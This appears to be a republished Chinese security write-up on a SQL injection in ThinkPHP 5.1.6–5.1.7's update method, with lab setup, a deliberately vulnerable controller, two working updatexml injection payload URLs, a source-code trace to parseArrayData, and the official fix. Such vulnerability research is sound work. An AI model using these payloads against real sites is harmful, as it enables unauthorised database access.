ThinkPHP5.1.x SQL注入(update方法)
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ThinkPHP5.1.x SQL注入(update方法)相关的知识,希望对你有一定的参考价值。
漏洞概要
- 本次漏洞存在于
mysql
类的parseArrayData
方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生- 漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)
初始配置
- 获取测试环境代码
composer create-project --prefer-dist topthink/think=5.1 tpH3rmesk1t
将 composer.json 文件的 require 字段设置成如下
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.7"
}
然后执行
composer update
- 下载后的源码中,需要对
application/index/controller/Index.php
内容进行修改
<?php
namespace app\\index\\controller;
class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)Gyan师傅永远嘀神!!!</h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
}
?>
在
config/database.php
文件中配置数据库相关信息,并开启config/app.php
中的app_debug和app_trace,创建数据库信息如下
create database thinkphp;
use thinkphp;
create table users(
id int primary key auto_increment,
username varchar(50) not null,
);
insert into users(id,username) values(1,'H3rmesk1t');
漏洞利用
Payload:
http://127.0.0.1/cms/public/index.php?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,database(),0x7e),1)^&username[3]=0
或者
http://127.0.0.1/cms/public/index.php?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,database(),0x7e),1)|&username[3]=0
漏洞分析
先打断点,跟进一下payload,先接收变量
跟进到
thinkphp/helper.php
中的db
方法
跟进到
thinkphp/library/think/db/Query.php
中where
方法,接着进入update
方法
进入到return里面,跟进到
thinkphp/library/think/db/Connection.php
中connect
类的update
方法,找到生成update的SQL语句$sql = $this->builder->update($query);
,跟进该语句看看干了什么
跟进
thinkphp/library/think/db/Builder.php
中的update
方法,在Builder
类中的update
方法里又调用了parseData
方法
跟进
parseData
方法,在该方法中的swich语句中的default 语句中存在一个parseArrayData
方法,跟进去看看
跟进
thinkphp/library/think/db/builder/Mysql.php
中的parseArrayData
方法,这里如果数组$data
第一个变量的小写是point
的话就进入到后续的判断语句中;由于$data[2]
和$data[3]
都不为空,所以就是传进来的值;if语句判断了一下$data[1]
是不是数组,是的话就将一维数组的值连接为一个字符串;最后进入到拼接语句,拼接的形式为:$data[2]('$data[3]($data[1])');
,参数均为可控参数
用debug看看拼接后的值:
updatexml(1,concat(0x7,database(),0x7e),1)^('0(1)')
,成功造成SQL注入
漏洞修复
参考官方修复方法,直接将
parseArrayData
方法删除
攻击总结
参考Mochazz师傅的审计流程
以上是关于ThinkPHP5.1.x SQL注入(update方法)的主要内容,如果未能解决你的问题,请参考以下文章
SQL注入之初窥insert,update,delete注入
CodeIgniter 在使用 insert()、update()、where()、order_by() 等函数时会自动阻止 SQL 注入吗?